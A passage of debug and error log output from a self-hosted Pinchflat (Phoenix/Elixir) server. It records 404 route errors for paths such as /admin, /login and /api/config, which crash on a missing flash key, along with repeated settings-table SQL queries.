~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea59c9b261-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea59c9b261-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.1 (truncated) 02:50:39.377 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.377 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.377 [info] GET /api/config 02:50:39.378 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.378 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.378 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.378 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.378 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.375 [error] #PID<0.3774.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 16) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea58a9704d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3774.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea58a9704d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "whaaidvz.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.23.245.108"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoYJSVwpI6sAAW2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea58a9704d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea58a9704d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undef (truncated) 02:50:39.381 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.381 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.379 [error] #PID<0.3777.0> running PinchflatWeb.Endpoint (connection #PID<0.3771.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36852}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea5a936635-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3777.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea5a936635-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "zmzteaca4af697lg.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoYyN9EAOOYAAW4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36852}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea5a936635-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36852}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea5a936635-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", " (truncated) 02:50:39.380 [error] #PID<0.3776.0> running PinchflatWeb.Endpoint (connection #PID<0.3775.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /signup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36854}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea6a96b09d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "k6k7kxhi.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.71.22.139", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3776.0>, params: %{}, path_info: ["signup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea6a96b09d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "k6k7kxhi.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "172.71.22.139"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/signup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoYkfHXXkWEAAW3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36854}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea6a96b09d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "k6k7kxhi.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "172.71.22.139", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36854}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "e (truncated) 02:50:39.381 [error] #PID<0.3778.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 28) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea588de1d2-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3778.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea588de1d2-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "zmzteaca4af697lg.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", 